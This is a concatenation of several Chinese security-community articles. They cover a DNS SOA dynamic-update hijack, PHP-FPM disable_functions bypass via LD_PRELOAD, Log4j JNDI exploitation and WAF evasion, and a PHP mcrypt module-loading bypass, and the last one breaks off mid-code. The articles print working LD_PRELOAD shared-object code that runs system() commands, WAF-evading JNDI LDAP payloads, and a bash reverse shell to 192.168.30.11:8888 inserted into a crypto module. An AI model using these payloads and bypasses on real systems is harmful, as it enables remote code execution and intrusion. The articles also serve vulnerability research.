我们现在遇到的问题从本质上说是一个新的DNS漏洞，这是名称碰撞的结果，导致动态DNS更新被发送到“登记在顶级域名的SOA记录列表中”的任何服务器。与常规名称碰撞不同，为了利用这个漏洞，我不需要注册一个完整的新的顶级域名，我们只需要注册一个普通域名，只要这个域名存在于顶级域名的SOA记录列表中就可以(就像我们注册的maestro.gt)。
**自己尝试一下—快速的实验室**
如果你想在活动中看到这种行为，实际上重现相当简单。我们将使用Windows
7系统作为我们的示例系统，并安装在虚拟机里，并运行Wireshark监控所有我们机器发送的DNS流量。
更改你计算机的DNS后缀，以匹配危地马拉活动目录域，并将主DNS后缀设置为“.gt”顶级域名下的任何域，如下图所示：
单击确定并应用此新设置，将提示你重启计算机。继续进行，并且当Windows重启时，请保持Wireshark一直运行。你可以看到，在启动过程中，一些动态更新查询发生了：
上图是当Windows在启动期间，Wireshark的输出结果，具体活动如下：
1.尝试向8.8.8.8DNS解析器查询mandatory.dnsleaktestnetwork.com.gt的SOA记录(结果是一个NXDOMAIN错误，因为它查询的配置是8.8.8.8，而该域名在公共互联网上是不存在的)。
2.Windows然后会对这个NXDOMAIN响应进行解析，并从顶级域名的响应中找到一个无效的SOA主名称服务器记录，这就是maestro.gt。
3.然后，Windows会访问maestro.gt(此时它已经是我的服务器了)，并尝试发送一个DNS更新请求。这会失败，因为我把服务器设置成了拒绝模式。
4.然后，Windows会再次尝试整个过程。
**那么，这个问题有多普遍？**
因为危地马拉国家使用的是“.gt”域名空间，该空间和一些大的顶级域名相比很小，如.com、.net、.org、.us等等，因此，我们看到只有一小部分DNS请求受到这个问题的影响。但是，在较大规模的顶级域名空间上，使用了顶级域名的活动目录域、并访问常用顶级域名服务器的流量，有可能很大。
尽管我还没有明确地找到任何以前的“关于动态更新SOA劫持”的研究报告，但幸运的是，我们有很多以前的“关于名称碰撞”的研究，这很大程度上是由于担心发布的顶级域名和内部网络域名相矛盾，而内部网络遍布全球。想要研究这个问题有多么普遍，我推荐读一下《[DNS中的名称碰撞](https://www.icann.org/en/system/files/files/name-collision-02aug13-en.pdf)》这篇文章，这是ICANN委员会的报告，它对于这个问题有一个很好的概述，能更好的理解名称碰撞问题、及它在互联网中的影响。这篇文章包括了很多真实世界的数据，展现出了名称碰撞问题有多大，这使得我们有一个很好的基础，让我们推断出在这个世界里特殊的SOA动态更新变种分布有多广泛。
也许，在这个报告中，真实世界中最震撼的数据是下面的这张表：
上表是一个顶级域名请求数据表，按照根域名服务器的DNS请求数量排列，单位是千。在原始报告中包含了前100个顶级域名，在这里我们只列出前20个。这张表揭示了原始数据中DNS请求泄漏、并访问了根域名服务器的情况，而这个情况并不意味着到此为止。可以看出，有很多无效的“.local”顶级域名请求并查询了根域名服务器，数据排在了第三位，而且比所有“.org”和“.arpa”的请求数量加起来还多。下面的饼状图也能进一步揭示问题的规模：
上图显示了一个惊人的结果，有45%的请求访问了根服务器，这些请求来自于顶级域名，并且是不存在的、无效的域名，它们有可能是DNS请求泄漏的结果。也许更令人震惊的是，该数字可能更高，由于有些内部域有一个有效的顶级域名，但有一个无效的二级域名，例如之前我们提到过的microsoftinternal.com.gt。这些请求对于根服务器来讲是有效的(因为“.gt”在根区域是一个有效的记录)，但是可能在com.gt顶级服务器上会被视为泄漏/无效的。
该报告中提到了一个同样很有趣的问题，它们观察到了这些问题的流量，但是却没有进行更进一步的调查，如下图：
很多请求采用了上面的格式，通常这是在查询SRV记录，尽管有些时候它们是在请求SOA记录，但是它们似乎与微软活动目录服务有关。说明它们存在和本文相同的问题。
报告后面又再次提到：
意思是：“虽然在本研究中绝大多数观察到的DNS流量是用名字查找的(例如，传统的查询)，但也探测到了其它一些DNS请求。这些都是动态更新的流量，应该永远不会到达根服务器。毕竟，修改根服务器是不会使用动态更新的，更不用说起源于互联网的随机IP了。最可能的解释是它们可能由于活动目录安装配置错误，流量走出了内部网络，并泄漏到了公共互联网上。需要注意的是，这项研究并没有检查导致这种流量的根本原因。”
该文章最终得到的结论是：
可惜的是，该报告对这个流量的大小并没有给出任何陈述，因此和其它名称碰撞相比，我们没有好的办法得到这个问题的百分比和总量。基于顶级域名可能返回完全随意的SOA主名称服务器域名这个事实(就是.gt和maestro.gt这种情况)，实际上要在更大的范围内考虑安全问题，而报告中还没有认识到这一点。这允许潜在的攻击者通过注册一个域名，就像我们利用的maestro.gt，进入到DNS的中间过程。
鉴于公认的这个有限的信息，我认为这个问题有可能正在积极地发生，许多顶级域名服务器在这个问题上肯定能看到一些不平常的流量。依赖于每个顶级域名SOA记录的特殊配置，如果它们的SOA主名称服务器是可以被注册的，就像本案例中一样，它们就有可能存在易受攻击的漏洞。
**修复这个问题 &充分的TLD安全考虑**
鉴于利用这个漏洞的门槛是如此之低(基本上仅仅需要买一个域名)，关注它所造成的影响有很多原因，我认为应该要求TLD确保它们响应的SOA的主名称服务器字段是不能被解析的、或解析到TLD控制的服务器上，然后拒绝处理动态更新查询。考虑到这个错误似乎很容易造成，因为SOA主名称服务器字段不再用于从属DNS复制，我不认为这种改变是不合理的。悲哀的是，如果你读过本文前面提到过的生成的TLD健康报告的结果，你将会看到惊人数量的TLD在功能配置上是有问题的。鉴于这一事实，修复这个安全问题的希望也很低，即使是简单的事情，就像是“使所有TLD名称服务器处理于正确工作状态”对于TLDs来讲也是不实际的。如果我们甚至不能确保TLDs的健康，那么我们又怎么能希望确保所有TLDs能减轻这个问题呢？
呼叫网络管理员去阻止他们自己网络中这种类型的问题似乎也无法打赢这场战争，况且还有那么多的DNS名称碰撞。同时通知并确保网络管理员了解这个风险是很重要的，不过确保100%的网络都能正确配置是不可能的。
**隐私的噩梦**
鉴于这个事实，这台危地马拉机器的问题建立在一个相当普通的基础上，这个漏洞带来了一个相当大的隐私问题，很多DNS请求包含了主机名，这是很隐私的(想像一下NANCY-PC、MYLAPTOP，等等)。由于各种触发因素，造成机器发送了DNS更新查询包，意味着用户的个人电脑在他每次旅行、改变网络、或重启时都会向我的名称服务器发送信息。这导致这个人只要带着他的个人便携电脑，不管他是去上班、还是回家、去本地咖啡店等等，我们都能很容易的监控到他。内部IP地址也增加了隐私风险，因为用它可以绘制出远程网络的IP地址图，这些人的电脑在默默地报告他们的位置，想象一下下面这样的图片就有可能是以这些数据为基础：
不用多说，这种隐私问题肯定会让人有所触动。
**有道德的处理研究数据**
出于对当事人隐私的尊重，我们在这次研究中收集的数据将不会被公开，并会安全的删除。此外，所有这些计算机的进一步流量都会被路由到127.0.53.53，以确保在我maestro.gt域名剩下的注册期限里(大约两年)，没有发送进一步的更新查询。127.0.53.53这个IP是很特殊的，因为它是ICANN专门授权的用于提醒网络管理员存在名称碰撞问题的IP地址。希望危地马拉的网络管理员/技术精明的用户看到DNS流量路由到这个IP后，他能搜索这个IP，并立即发现他们的网络/活动目录设置存在这个易受攻击的问题。
此外，我已经给“.gt”顶级域名的DNS管理员发送了邮件，给她们通知了这个问题，并要求她修改主名称服务器的设置，使它不再被解析。基于没有人可以再利用这一点，并且我已经将流量引导到了127.0.53.53这个事实，同时我的域名注册时间是两年，因此，我决定发布这篇文章，尽管此时主名称服务器仍然是maestro.gt。
总的来说这是一个非常有趣的实验，强调即使是TLD的一个轻微配置错误，也可能造成一些有趣的后果。
状态更新：在我将这个问题发送给危地马拉的DNS管理员后，他们很快修复了这个问题(并很快进行了回复)。
**参考链接**
<http://www.sigma.me/2011/01/01/about_dns_soa.html>
<https://www.zhihu.com/question/40028869>
<https://www.cloudxns.net/Support/detail/id/737.html>
<http://yuelei.blog.51cto.com/202879/106921/> | 社区文章 |
# php内核分析-fpm和df的问题思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 这篇文章灵感是来自看了一篇文章《PHP内核分析-FPM和disable-> function安全问题》然后其中学习到了很多东西。该篇文章已经非常详细了，所以自己就简单的记录一下自己的思考，如文中有错误希望师傅们指出。
## 介绍
php中的disable_function是EG(ini_directives)来获得的，而phpinfo根据 EG(ini_directives)
中获取信息并打印。
然后通过zend_disable_function()函数去禁止，简单的说就是通过 func->handler =
ZEND_FN(display_disabled_function); 修改了handler。
而phpinfo⼀直是查看服务器php信息的可靠⽅式，但是在包含修改
disable_function的参数攻击FPM后，phpinfo已经显示修改，但是测试函数仍然禁⽤。在fpm攻击的配置中
EG(ini_directives) 找到表示 disable_functions 的 ini_entry
，然后修改值为我们传⼊的内容，⽽phpinfo展示的值就源于这⾥。
还会将要禁⽤的函数字符串传⼊fpm_php_disable 函数，再调⽤ zend_disable_function 函数修改
func->handler完成禁⽤。
所以说，包含 PHP_VALUE == disable_function= 的恶意FastCgi攻击FPM时，只能修改展示phpinfo信息
的 EG(ini_directives) ，也就是表⾯修改，对于已经禁⽤的函数⽆效的，但是可以通过FPM禁⽤新的函数。
## 总结
* disable_function 的本质是修改 func->handler 完成对函数的禁⽤。
* 包含 PHP_VALUE ==disable_function= 的恶意FastCgi攻击FPM时，只能修改展示phpinfo信息的 EG(ini_directives) ，也就是表⾯修改，对于已经禁⽤的函数⽆效的，但是可以通过FPM禁⽤新的函数。
* 攻击FPM⽐较常⻅的有效利⽤选项是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。
## 思考
那么我看网上有一下介绍是通过fpm来绕过disable_function。那么是怎么实现？？底层到底是什么？
这里给出自己的答案，之所以说fpm能绕过df是因为通过配置 PHP_VALUE ==extension_dir
+extension，然后我们上传我们的so来加载执行。那为什么说加载so就可以绕过？？？
**是因为df是在模块初始化阶段的最后一步 加载so是在这个之前 可能是因为这个导致的rce** （图片是来自上述文章）
下面是清楚点的。
所以能够绕过，然后想到了[一叶飘零](https://www.anquanke.com/member/128836)师傅的文章。
LD_PRELOAD与putenv的配合使用，即LD_PRELOAD这个环境变量指定路径的文件(也是so文件)，会在其他文件被调用前，最先被调用而putenv可以设置环境变量。（图片是一叶飘零师傅文章）
而一叶飘零师傅文章中介绍了某一个php函数，我认为是在执行的过程中能fork子进程的函数（启动外部程序的函数并能执行）然后我们hook该fork子进程，进行重写，完成rce。
例如： **mail(‘’,’’,’’,’’);**
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
//编译成so文件
//gcc -c -fPIC hack.c -o hack.so
还有imap_mail()、mb_send_mail()和error_log()函数等
然后还有一个进化版本
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}
其中`__attribute__ ((__constructor__))`有如下说明
1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.
1.它在加载共享库时运行，通常在程序启动时运行。//putenv("LD_PRELOAD=hack.so");
2.所有GCC属性都是这样的；可能是为了将它们与函数调用区分开来。
3.析构函数在卸载共享库时运行，通常在程序退出时运行。
所以我们就不需要找一个函数去触发了。
> 参考：<https://www.anquanke.com/post/id/175403>
>
> 感谢：m3师傅
>
> 题外话：和师傅们交流会扩大自己的思路，不然会走进死胡同。
>
> 又想到空白之前给我说：不以物喜不以己悲。 | 社区文章 |
# 0 前言
log4j漏洞的形成原因已经有很多分析文章了，这里说一说我是如何在了解到有漏洞后，跟进漏洞产生原理的，以及发现的一些绕WAF tips
# 1 跟进漏洞产生原因的思路
## 1.1 如何发现漏洞产生原因的
了解到log4j <=2.14.1 存在RCE的情况，我马上跑到其官方github看了一下，发现commit记录中有两个关键commit
* 第一，log4j不再自动对消息中的lookup进行格式化，第一时间看到不是很懂
* 第二，限制JNDI默认支持，限制通过LDAP访问服务器和类
这两个点很容易联想到是不是跟JNDI攻击有关系，毕竟RMI和LDAP很容易做到RCE。跟进commit看看具体的修改情况，<https://github.com/apache/logging-log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3>
这个commit中，对`org.apache.logging.log4j.core.net.JndiManager.java`进行了大量修改，特别是在lookup方法中，加了很多代码
仔细看了一下，没有修改前，lookup方法直接通过`this.context.lookup(name)`执行JNDI操作，没有任何过滤或者限制，而新增加的代码在限制JNDI服务器、类。当天晚上看到payload后，马上对log4j
2.14.1版本尝试验证一下，并在JndiManager#lookup方法中断点看到如下
很明显，name就是payload中给定的，仔细看一下调用栈就可以发现，log4j会对字符串中的${}自动解析，也就是前面提到的commit备注信息中写到的。
## 1.2 如何绕过2.15.0-rc1版本
看到rc1版本存在绕过的消息，又来看看官方github仓库的commit记录，里面有一条在更新到2.15.0-rc1版本后的[commit记录](https://github.com/apache/logging-log4j2/commit/c2b07e37995004555c211cdf0bb169d6a6a6f96b)，提交的信息是"handle URI
exception"，即处理了URI出错的情况。修改代码情况如下图
JndiManager#lookup方法处给catch语句中添加了两行代码，记录URI解析错误并返回null。而添加这两行代码前，此处只有一行注释，因此catch报错后会继续向下执行this.context.lookup，也就意味着前面try语句中的代码报错后，会继续执行JNDI操作，绕过也就来自于这里。
来看看try语句是什么写的
代码比较长没有完全截进来，关键点是进入lookup方法后，立即将name变量送入URI类的构造函数中，此时只要URI的构造函数对name字符串解析出错，即可跳转到catch语句，进而向下执行到JNDI操作。
那么我们要关注的点就是让`new
URI(name)`处报错，但是name又能被jndi正常识别。好在我们用marshalsec构造ldap服务时，不需要关心uri长什么样，所以可以在uri上做文章。
跟踪源代码可以查看到URI对字符的支持情况
数字、字母大小写这些就不说了，其它可打印字符也不多，从上面的注释中可以看到URI对 **反引号`，空格，尖括号
<>**并不支持，基于这一点，可以做个简单的实验
空格和尖括号同样报错，就不重复截图了。回到前面提到的2.15.0-rc1版本对JndiManager#lookup方法的修复情况，并没有在catch语句中添加返回操作或报错，程序遇到报错后，会继续向下执行，从而造成危险。
由于找了很久都没有找到log4j-core-2.15.0-rc1.jar这个包，所以自己写了个函数模拟一下绕过的场景
# 2 LDAP绕WAF的tips
## 2.1 URI解析
看完rc1版本的绕过后，又想了一下，防御工具可能会有针对性的做一些关键字检测，所以我打算从LDAP更深层的源代码看看有没有对字符串变形的可能性。
跟着this.context.lookup(name)处向下跟进到`com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN`方法，代码如下
注意var0也就是输入是完整的"ldap://192.168.34.96:1389:/a"，而后var2可以使用getHost和getPort方法获取host和port，说明var2对象在创建时解析了ldap地址。跟进LdapURL类到达Uri#parse方法
* com.sun.jndi.toolkit.url.Uri#parse
private void parse(String var1) throws MalformedURLException {
int var2 = var1.indexOf(58);
if (var2 < 0) {
throw new MalformedURLException("Invalid URI: " + var1);
} else {
this.scheme = var1.substring(0, var2);
++var2;
this.hasAuthority = var1.startsWith("//", var2);
int var3;
if (this.hasAuthority) {
var2 += 2;
var3 = var1.indexOf(47, var2);
if (var3 < 0) {
var3 = var1.length();
}
int var4;
if (var1.startsWith("[", var2)) {
var4 = var1.indexOf(93, var2 + 1);
if (var4 < 0 || var4 > var3) {
throw new MalformedURLException("Invalid URI: " + var1);
}
this.host = var1.substring(var2, var4 + 1);
var2 = var4 + 1;
} else {
var4 = var1.indexOf(58, var2);
int var5 = var4 >= 0 && var4 <= var3 ? var4 : var3;
if (var2 < var5) {
this.host = var1.substring(var2, var5);
}
var2 = var5;
}
if (var2 + 1 < var3 && var1.startsWith(":", var2)) {
++var2;
this.port = Integer.parseInt(var1.substring(var2, var3));
}
var2 = var3;
}
var3 = var1.indexOf(63, var2);
if (var3 < 0) {
this.path = var1.substring(var2);
} else {
this.path = var1.substring(var2, var3);
this.query = var1.substring(var3);
}
}
}
此时var1="ldap://192.168.34.96:1389/a"
* var2第一次赋值为(char)58也就是 : 在ldap中的索引，如果不存在 : 则直接报错
* this.scheme赋值为第1个字符到 : 之间的字符串，也就是ldap、ldaps
* var2第二次赋值自加1，而后检查冒号后是否存在//，如果不存在，则host和port都直接为null，进入path和query解析部分，也就是路径和参数
* 第一个冒号后存在//，则进入if语句，var2第三次赋值，再加2，也就是跳过了//继续向后判断
* (char)47 也就是/，给 **var3** =var1.indexOf("/", var2)， **实际上为://后第一个/的索引** ，这是用来找到host和port的一个定位，但很有可能后面没有/(即var1="ldap://192.168.1.1:1389"，此时var3直接赋值为var1.length，也就是var1最大索引+1)
* 再往下走，会先判断://和var3直接有没有 [ 和 ] 符号对，且 ] 不能在var3后面否则会直接报错，这里有个意外情况就是ldap://[localhost:1389]/a这样写的话，会将localhost:1389当成host
* 如果没有出现[]符号对，则赋值var4为://后的第一个：的索引，然后判断var4>=0 且 var4<=var3，也就是冒号:必须存在且在var3的前面，条件达成则赋值为var5=var4，否则var5=var3，即从://和:之间获取host，或者从://和/之间获取host。此时出现骚操作"ldap://localhost/:"，则host=localhost，骚操作"ldap://localhost"，则host=null
* 继续往后走，如果正常在://和var3之间出现冒号，则可以截取出port，如果前面的骚操作"ldap://localhost/:"，则port为默认值-1，这个-1在后面大有可为：）
后面解析path和query的部分就不看了，回到`com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN`也就是上面那个图片的位置，此时host和port都解析好了，正式开启发起ldap请求
## 2.2 LDAP发起
`com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN`，执行到`new
LdapCtx("", var2.getHost(), var2.getPort(), var1,
var2.useSsl())`，即此时LdapURL已经解析完成，host和port都有了，跟进LdapCtx的构造方法，代码如下
public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
this.useSsl = this.hasLdapsScheme = var5;
if (var4 != null) {
this.envprops = (Hashtable)var4.clone();
if ("ssl".equals(this.envprops.get("java.naming.security.protocol"))) {
this.useSsl = true;
}
this.trace = (OutputStream)this.envprops.get("com.sun.jndi.ldap.trace.ber");
if (var4.get("com.sun.jndi.ldap.netscape.schemaBugs") != null || var4.get("com.sun.naming.netscape.schemaBugs") != null) {
this.netscapeSchemaBug = true;
}
}
this.currentDN = var1 != null ? var1 : "";
this.currentParsedDN = parser.parse(this.currentDN);
this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
if (this.hostname.charAt(0) == '[') {
this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
}
if (var3 > 0) {
this.port_number = var3;
} else {
this.port_number = this.useSsl ? 636 : 389;
this.useDefaultPortNumber = true;
}
this.schemaTrees = new Hashtable(11, 0.75F);
this.initEnv();
try {
this.connect(false);
} catch (NamingException var9) {
try {
this.close();
} catch (Exception var8) {
}
throw var9;
}
}
这里主要关注hostname和port_number两个参数，即下面的代码块
this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
if (this.hostname.charAt(0) == '[') {
this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
}
if (var3 > 0) {
this.port_number = var3;
} else {
this.port_number = this.useSsl ? 636 : 389;
this.useDefaultPortNumber = true;
}
其中var2=LdapURL中解析的host，var3=LdapURL中解析的port
* 注意到代码逻辑， **如果var2为null，则直接使this.hostname="localhost"** ；
* 如果hostname的第一个字符为"["，则取出第二个字符至倒数第二个字符的子字符串，即从[ip]，去掉[]，获得ip
* 如果var3<=0，即LdapURL解析port失败，则在使用ldaps时，端口改为636，使用ldap时， **端口强制改为389**
这些逻辑是变换ldap字符串的关键
## 2.3 Bypass WAF tips
根据前面LdapURL和LdapCtx的解析逻辑，可以对log4j的payload做出如下变换
* **不出现port，避免被waf匹配ip:port**
${jndi:ldap:192.168.1.1/a}
${jndi:ldap:192.168.1.1:/a}
注意此时需要ldap服务端口为389
* **对IP添加包裹**
前面两个类的解析逻辑中都有对中括号[]的处理，所以给ip添加一下包裹
${jndi:ldap://[192.168.34.96]/a}
${jndi:ldap://[192.168.34.96]]/a}
LdapURL取出"[ip]"，LdapCtx去除[]获得ip，两种情况下端口都是389
* **不出现ip和端口** (有点鸡肋)
${jndi:ldap:/a}
此时相当于ldap://localhost:389/a
这种情况主要是来自于LdapURL解析URL时出错，导致host=null，port=-1，而后LdapCtx中发现host=null，则将host置为localhost，毕竟这样做看起来是可信的
原理是，LdapURL解析时有个关键处理如下
this.hasAuthority = var1.startsWith("//", var2); // var2=第一个冒号的索引
if (hasAuthority){
解析获取host和port
}
此时不出现://这个整体，就可以直接跳出host和port的获取，而后在LdapCtx中对host=null时，赋值为localhost，对port=默认值-1时，赋值为389
这个payload需要在目标上执行命令或其它方式开启ldap和文件下载服务，但都可以在目标上执行命令了，还需要这样干吗？所以有点鸡肋，除非java程序的权限比可以执行命令的用户权限更高，从而拿到更高权限(不过提权姿势也很多啊)
* **不出现jndi:ldap关键字**
通过upperCase、fastjson的unicode编码等方法可以避免该关键字，具体就不重复写，直接引用浅蓝师傅的博客了<https://b1ue.cn/archives/513.html>
，
另外可以对log4j解析${}的部分深入了解一下，还能通过其自身特性，避免直接出现jndi:ldap关键字，但不是自己研究出来的就不公开了 | 社区文章 |
## 前言
记得以前乌云还在的时候，有个哥们在zone里问php如果把
`dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec`
这些函数都禁用了，应该如何执行命令。当时我看他给出的php版本很低，就直接用反序列化uaf直接调用exec的原型强行反弹了个shell。不过最后那哥们找到了一种利用LD_PRELOAD
和 mail函数的方法进行了绕过，见原drops上的文章 《利用环境变量LD_PRELOAD来绕过php
disable_function执行系统命令》。这个方法其实在08年就已经有人提出来了：[php-bug](https://bugs.php.net/bug.php?id=46741) 。应该还是有人记得这个哥们的，反正我是特别佩服他。
其实在php中，类似的问题还是存在很多的，本文将记录一次完整的php禁用函数绕过姿势的挖掘过程。在开头就说明一下，这次这个姿势在实战环境下没什么卵用，我写这个只是为了说明php中类似问题的利用方法。
## php mcrypt模块
有一天上班公交车上看feedly，在LR师傅的博客上看到php协议流文档的翻译，然而那个翻译真的看得我蛋疼，所以我直接又去官网翻了下php://filter文档，发现php的过滤器支持Encryption
Filters ：[filters.encryption](http://php.net/manual/en/filters.encryption.php)
，其中有两个参数比较有意思：
这两个参数可以指定加密算法和模式的模块目录。但是后面的文档中并没有对这两个参数和需要实现的接口做进一步描述，之后我发现，这个加密过滤器其实是mcrypt这个扩展模块中的接口，mcrypt模块中的mcrypt_module_open函数是一个更通用的方法：[mcrypt_module_open](http://php.net/manual/en/function.mcrypt-module-open.php)。
该方法中有两个参数 `algorithm_directory` 和 `mode_directory`
可以指定模块加载的目录，按照文档中的说法，如果不指定，则为php.ini中的默认值。看到这里的时候我觉得这个地方只要我编译一个带有加密函数接口的so库，并在该接口中插入恶意的代码，然后通过这个参数指定到这个目录，在调用加密方法的时候，我插入的代码就会被执行了。然后我这么做的时候，发现不管怎样更改directory参数，我指定的so都不会被加载，就算指定不存在的位置，也不会报错，然后我找了很多资料，发现对这个参数的具体使用，so库需要实现哪些接口，命名上的要求，完全没有任何文档说明。接下来是一些反复跳坑的过程，最后说下这个指定目录到底应该如何调用so库，以及他导致的php禁用函数绕过。
## 环境配置
首先下载php源码（php版本不限制，我用的是php5.4.34）和依赖，
wget http://jp2.php.net/get/php-5.4.34.tar.gz/from/this/mirror
wget http://jaist.dl.sourceforge.net/project/mcrypt/Libmcrypt/2.5.8/libmcrypt-2.5.8.tar.gz
wget http://jaist.dl.sourceforge.net/project/mhash/mhash/0.9.9.9/mhash-0.9.9.9.tar.gz
接下来编译安装，开始第一次跳坑：
cd libmcrypt-2.5.8
./configure
make && make install
cd ../mhash-0.9.9.9
./configure
make && make install
cd ../
cd ../php-5.4.34/
./configure --with-apxs2=/usr/bin/apxs2
cp php.ini-production /usr/local/lib/php.ini
因为考虑到之后可能要单独分析mcrypt模块，所以我没有在confiure的时候添加选项，而是在接下来编译了扩展库
cd ext/mcrypt/
phpize (需要autoconf)
./configure --with-php-config=/usr/local/bin/php-config
make && make install
然后在php.ini中添加扩展目录和扩展，并添加禁用函数：
disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec
接下来使用这段测试代码应该就可以输出密文了：
<?php
/* Open the cipher */
$td = mcrypt_module_open('rijndael-256', '', 'ofb', '');
/* Create the IV and determine the keysize length, use MCRYPT_RAND
* on Windows instead */
$iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
$ks = mcrypt_enc_get_key_size($td);
/* Create key */
$key = substr(md5('very secret key'), 0, $ks);
/* Intialize encryption */
mcrypt_generic_init($td, $key, $iv);
/* Encrypt data */
$encrypted = mcrypt_generic($td, 'This is very important data');
echo $encrypted."\n";
然后按照我们一开始的思路测试下加载指定目录的so文件，发现并无卵用，这时我花了一天的时间去google关于php
mcrypt扩展的文档，对于这个指定dir的参数并没有文档说明，然后又去问了一些php大牛，他们给出的答复似乎并不能解决问题。然后被逼无奈我开始怼源码。
## 源码分析
首先定位到 mcrypt_module_open 函数原型，这个函数是在 libmcrypt
中的，我建议如果食用ctag分析的话，把libmcrypt和mcrypt的源文件放在一起建立索引。
function mcrypt_module_open –> libmcrypt-2.5.8/lib/mcrypt_modules.c : 166
他是调用了mcrypt_dlopen –> libmcrypt-2.5.8/lib/mcrypt_modules.c : 128
这个函数中 141-144 行如下：
if (_mcrypt_search_symlist_lib(filename)!=NULL) {
handle->handle = MCRYPT_INTERNAL_HANDLER;
return handle->handle;
}
`filename` 就是原来的 `algorithm` 也就是加密算法名，
_mcrypt_search_symlist_lib –> libmcrypt-2.5.8/lib/mcrypt_modules.c : 51
他会在全局数组 mps 里搜索这个算法名name，全局数组 mps 在编译时由 makefile 生成到mcrypt_symb.c 中，差不多是这个形式：
const mcrypt_preloaded mps[] = {
{"cbc", NULL},
{"cbc_LTX__init_mcrypt", cbc_LTX__init_mcrypt},
{"cbc_LTX__mcrypt_set_state", cbc......
...
{"rijndael-128", NULL},
{"rijndael_128_LTX__mcrypt_....
....
}
也就是说这个name在这个数组中出现的话，就会让 `mcrypt_dlopen` 直接返回 `MCRYPT_INTERNAL_HANDLER`，
`MCRYPT_INTERNAL_HANDLER` 是 `(void *)-1` ，没啥实际意义，就是个flag，返回这个值会导致调用
_mcrypt_search_symlist_sym –> libmcrypt-2.5.8/lib/mcrypt_modules.c : 65
，该函数会直接返回 mps 中的算法的地址，所以根本不会从我指定的dir位置加载，会直接返回系统libmcrypt.so中的算法进行调用。
所以我觉得，算法名必须要不同于库中给出的标准算法名才可以，然后我把算法名和so的名字更改之后，仍然没有成功，他会直接返回找不到加密模块的错误。
然后我又看了两个多小时源码，最后没办法，静态分析弄的头都大了，直接上gdb调
gdb php
b mcrypt_module_open
r mmm.php
执行到181行的时候s进到mcrypt_dlopen函数里，141 行是上面我们提到的那个判断，执行到这里的时候我们看下执行结果：
那个算法名我已经修改了，删了一个’i’，返回是NULL，如果是原来的算法名的话，返回是0xffffffff，所以这个分支会跳过。
继续往下执行可以看下paths：
(gdb) p paths
$7 = "/root/fuckphp:/usr/local/lib/libmcrypt/", '\000' <repeats 756 times>...
按照程序逻辑来说是没有问题的，继续往下执行，发现一个很奇怪的问题，157行的函数直接会被跳过，而159行的
`lt_dlopenext(filename);` 返回是0，导致返回的句柄是 NULL:
(gdb) p handle->handle
$8 = (void *) 0x0
我当时觉得问题就在这个函数里了，就跟进去调，发现这个函数怎么都s不进去，并且无法在 lt_dlsetsearchpath 和 lt_dlopenext
这两个函数上下断点，报错找不到symbol，这个问题困扰了我好久，之后我就继续读源码，发现libdefs.h中有这样一段代码：
#ifdef USE_LTDL
# include <ltdl.h>
#else
# define lt_dlexit() 0
# define lt_dlinit() 0
# define lt_dlclose(x) 0
# define lt_dlsym(x,y) 0
# define lt_dlhandle void*
# define lt_ptr_t void*
# define lt_dlerror() 0
# define lt_dlopenext(x) 0
# define lt_dlsetsearchpath(x) 0
#endif
如果没有定义 `USE_LTDL` 这个宏的话，那么这两个函数会直接变为两个返回0的宏定义，我们重新编译下libmcrypt
加上CFLAGS参数，让他把宏也编译到gdb调试信息中去：
./configure --disable-posix-threads CFLAGS="-g3 -gdwarf-2 -O2"
下断点到155行看一下宏：
(gdb) b mcrypt_modules.c:155
(gdb) r mmm.php
(gdb) p lt_dlopenext()
$1 = 0
果然此处是个宏，那么我们只要找到指定USE_LTDL宏的选项就好了，configure.in 中104行：
AC_DEFINE(USE_LTDL, 1, [use libltdl])
此处定义了USE_LTDL，发现这是个分支，进入条件是：
if test "x$opt_enable_ltdl" != xno; then
所以只要指定$opt_enable_ltdl就可以了，发现对$opt_enable_ltdl的操作在75行：
opt_enable_ltdl=no
AC_MSG_CHECKING([whether to enable dynamic module loading])
AC_ARG_ENABLE(dynamic-loading,
[ --enable-dynamic-loading enable dynamic module loading],
opt_enable_ltdl=$enableval)
AC_MSG_RESULT($opt_enable_ltdl)
所以，我们要指定 `--enable-dynamic-loading` 这个选项，这样才能开启USE_LTDL，也就是动态加载。
再编译一次：
./configure --disable-posix-threads --enable-dynamic-loading CFLAGS="-g3 -gdwarf-2 -O2"
make && make install
之后我并没有往后看他需要调用的接口，我直接把libmcrypt中的所有 `rijndael-256` 都替换成了
`rjndael-256`（包括文件名和文件内容，要注意一些隐藏文件夹），然后修改 modules/algorithms/rjndael-256.c
，添加头文件：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
在 _mcrypt_encrypt 函数的定义部分结束后添加一行：
system("bash -c 'bash -i >& /dev/tcp/192.168.30.11/8888 0>&1'");
将`modules/algorithms/.libs/rjndael-256.so`
拷贝到目标文件夹，再次测试，发现还是错误，再跟进去调一下，还是原来的位置下断点，我们发现，lt_dlopenext仍然返回NULL，但是这次我们可以s进去了，简单读一下代码发现他首先会提取后缀名，如果要执行lt_dlopen函数，则需要满足条件：
if (ext && ((strcmp (ext, archive_ext) == 0)
#ifdef LTDL_SHLIB_EXT
|| (strcmp (ext, shlib_ext) == 0)
#endif
))
{
